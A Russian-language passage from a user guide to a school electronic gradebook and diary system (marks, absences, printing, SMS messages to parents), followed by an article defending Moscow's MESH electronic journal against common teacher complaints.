Так же можно разделить класс на группы (по каждому предмету свои группы), нажав иконку «Группы», для удобства выставления отметок по иностранному языку, физкультуре, технологии, информатике.

Таким образом, всю подготовительную работу, которая выполняется один раз, закончили. Переходим к разделу «Электронный журнал». Администратору опять будет выдана таблица с выбором класса, классный руководитель попадает сразу на страницу журнала своего класса. Здесь содержится справочная информация: кто вошёл в базу, в какой класс, когда были

последний раз занесены отметки, за какое число и т.п.

Самое важное для вас: слева список предметов, изучаемых в классе (тот, что редактировали шагом выше). В центральной части — таблица, максимально схожая со страницей бумажного журнала: в эту таблицу и нужно заносить отметки. Выбрав слева нужный предмет, в таблице выбираем нужную дату. Для этого в таблице есть четыре последних столбца с иконками «Календарь»: нажимаем на иконку и выпадает календарь для выбора нужной даты.

Выбрав дату в столбце, ставим курсор в нужную ячейку этого столбца (напротив нужного ученика), и с клавиатуры ставим отметку (для безопасности и устранения лишних ошибок с клавиатуры можно ввести только знаки «1» «2» «3» «4» «5» и «н»). Для большего удобства курсор можно передвигать по ячейкам кнопками «влево», «вправо», «вверх» и «вниз» с клавиатуры (как в MicroSoft Excel).

Выставив отметки, нажимаем «Сохранить». Далее процедура повторяется: выбираем нужный предмет, выставляем отметки.

Рассмотрим пункт «Управление данными о пропусках занятий» в электронном журнале. В открывшейся таблице видно список учеников и даты. По определённой дате собираются выставленные учеником в этот день по всем предметам оценки. Есть возможность заменить букву «Н» (не был) на «У» (уважительная причина) или «Б» (болел). Не обязательно выполнять эту операцию каждый раз при выставлении отметок, достаточно делать это один раз в конце четверти (например, с выставлением четвертных отметок), для отчётов.

Раздел «Электронный дневник» построен по принципу «Журнала», с той лишь разницей, что список учеников меняется местами со списком предметов: это даёт

№ Ученик 08.01 02.01 03.01 07.01 16.01 23.01

1 Андрюшкова Василиса

4 Дорофеева Анна Н(1) Н(1)

5 Ефремов Алексей

6 Зайцева Мария Н(1)

8 Маслюков Николай Н(1) Н(1)

9 Мирошниченко Владимир

10 Осипенко Кристина Н(1) ? ^

11 Цветкова Анна

12 Чупин Константин

13 Шаламов Даниил

№ Ученик 08.01 02.01 03.01 07.01 16.01 23.01

вернуться к выставлению отметок.

возможность просматривать все отметки каждого ученика. Можно распечатывать эту страничку, нажав кнопку «Печать» для того чтобы вставить эту страницу в дневник ученику и не делать эту работу вручную.

Когда наживают на «Печать», выпадает меню, где можно выбрать интервал времени, за которое надо отобразить отметки, а также вид печати.

В разделе «$М$-рассылка» указывается время ближайшей рассылки сообщений родителям (сообщения с отметками формируются сами, и вам никаких усилий прикладывать для этого не нужно). Также есть возможность добавить дополнительный текст для родителей. Это может быть всё что угодно, например: напоминание о собрании или просто похвала ребёнку. Сообщение можно посылать как всему классу (тем родителям, кто подключён к услуге смс-информирования), так и выборочно одному или нескольким родителям.

После ввода текста отобразится, как он будет выглядеть в смс. После того, как нажали на кнопку «сохранить сообщение», оно отобразит-

ся в таблице ниже, где слева виден текст самого сообщения, а справа — список получателей. В любой момент до рассылки можно зайти и поправить текст или имена отправителей. Текст будет прикреплён к отметкам, и отправится в ближайшую рассылку, после чего пропадёт из таблицы.

Раздел «Отчёты». Вся статистика может быть доступна в форме табличных отчётов и в форме графиков, демонстрирующих динамику процессов. Готовятся также графики для того, чтобы анализировать развитие ребёнка.

Учителя и школьная администрация, использующие в работе информационную систему «Мониторинг образовательных достижений школьников», отмечают простоту интерфейса, практическое удобство ресурса.

Электронный журнал и дневник МЭШ: использовать нельзя закрыть. Выберите сами, где поставить запятую

С момента прихода в каждую школу столицы проекта «МЭШ» и его неотъемлемой составляющей – электронного журнала и дневника, базового инструмента для работы московского учителя, в медиапространстве и соцсетях не утихают оживленные дискуссии. Как и любая новая технология, электронный журнал/дневник за несколько лет своего существования приобрел и своих поклонников, и яростных критиков. Кстати, именно последние формируют пользовательское развитие системы: ведь в любом инструменте всегда можно найти, что оптимизировать.

Давайте разберем наиболее частые вопросы учителей, которые выносятся на всеобщее обсуждение.«Я ставил оценки, а они все пропали!»Начнем с того, что в системе никогда и ничего не пропадает и никуда не удаляется. Даже если какой-то элемент был помечен пользователем на удаление, он скрывается из отображения, но остается в базе данных с особой отметкой. И по обращению в службу поддержки любой такой элемент без проблем восстанавливается. Но главное, что все действия пользователя можно проследить по инструменту «логирование», который доступен под ролью администратора в разделе «Дополнительно – Логирование».Как показывает трехлетний опыт эксплуатации журнала, в 100% случаев исчезновение отображения оценок в журналах является результатом действий пользователей. Например, удаление урока из расписания (нужно четко понимать, что, удалив урок из расписания и поставив на его место другой урок, пусть даже по тому же предмету, вы получите уже совершенно другой урок), равно как и удаление учебного плана, привязанного к учащемуся, с последующим созданием другого учебного плана.«Вот раньше я оценки поставил, тему написал, и все, а сейчас столько времени уходит!»Давайте откровенно: список класса переписывал со страницы на страницу кто? Адрес проживания, телефоны и контакты родителей в журнале кто заполнял? А подсчитывал средневзвешенный бал для ориентира по выставлению оценок промежуточной аттестации кто? Правильно, все тот же учитель. Очевидно, что данные, которые приходят из общегородских систем (кадры, контингент), значительно упростили жизнь педагогу. Да, бывает, что ребенка перевели из класса в класс или новый ученик пришел, а данные по нему пришли через пару дней, но зато пришли полностью, везде в системе прописались, так что учителю не надо бегать везде и всюду, чтобы узнать, что это за ученик, какие у него были оценки и что с ним теперь делать.«И когда я вам должна этот журнал заполнять? Ночью, что ли?»У электронного журнала и дневника потрясающие возможности для мобильного использования – в любом месте, в любое время, 24/7. Мобильное приложение максимально расширило границы мест и времени работы с журналами. Конечно, вопрос этот чаще всего звучит в контексте затраченного на использование журнала времени, но ведь при составленной заранее рабочей программе темы в нем формируются автоматически, что не отнимает урочное время! Выставление же оценок стало удобным и мобильным с функцией «быстрый режим выставления оценок» – выбираем форму контроля и, используя цифровую клавиатуру, проставляем оценки всему классу за секунды.«У меня был тематический план, я по нему всегда и вела уроки»Планировать свою работу можно (и нужно!) в журнале. Раздел «Общее образование – Рабочие программы» – это прекрасный инструмент для учителя, у которого рабочая программа создана на начало года, а не верстается от урока к уроку. В любое время до начала учебного года можно спокойно составить свою рабочую программу, прописать там все КЭСы, которые, как маяки в бушующем море знаний, дают ориентиры и указывают направление, создать свои или использовать существующие сценарии из библиотеки, запланировать проведение контрольных работ и продумать, какими будут задания для самостоятельной работы.Когда расписание по школе будет составлено, учителю достаточно будет зайти в свою рабочую программу, нажать кнопку «Расширенное тематическое планирование» и разложить свои уроки на расписание. Планируемые контрольные работы теперь можно еще раз сравнить с календарем и проставить окончательно по датам для отправки на согласование завучу. Потом на уроке учитель всегда может поменять тему, изменить задание для самостоятельной работы класса или дать его только группе учащихся.«Мне надо работы детей проверять, а не ваш журнал заполнять»Действительно, у педагогической и родительской общественности все больше назревает потребность в объективном автоматизированном оценивании. Это позволило бы не собирать работы, а задавать для выполнения тестовые задания или сцены в интерактивных приложениях.Электронный журнал и дневник МЭШ – это инструмент, позволяющий экономить рабочее время учителя. Освободившееся время учитель может (и должен!) использовать для саморазвития и подготовки уроков нового уровня – интересных, увлекательных, наполненных разнообразной деятельностью, позволяющих за 45 минут дать ученикам более качественную информацию, осветить ее с разных сторон.С приходом ЭЖД в работу школьного учителя педагогическая работа стала гораздо увлекательнее и современнее, учитель стал ближе к ученику и родителю. Доступность контента и новые формы его представления (тесты, интерактивные задания, видео) дают педагогу возможность выходить на новые формы подачи материала.Классный руководитель благодаря одноименному разделу в ЭЖД теперь полностью информирован о том, как происходит учебный процесс в его классе, будь то отсутствие учеников, просмотр журналов, выгрузка дневников учащихся по неделям, разнообразные отчеты.Электронный журнал и дневник МЭШ как инструмент ежедневной работы учителя освобождает его от рутины и призван открыть всем, кто к этому готов, новые горизонты для педагогических достижений и инноваций.Ирина КОРОЛЕВА, заместитель директора школы «Свиблово»; Тамара АНУЧКИНА, методист Городского методического центра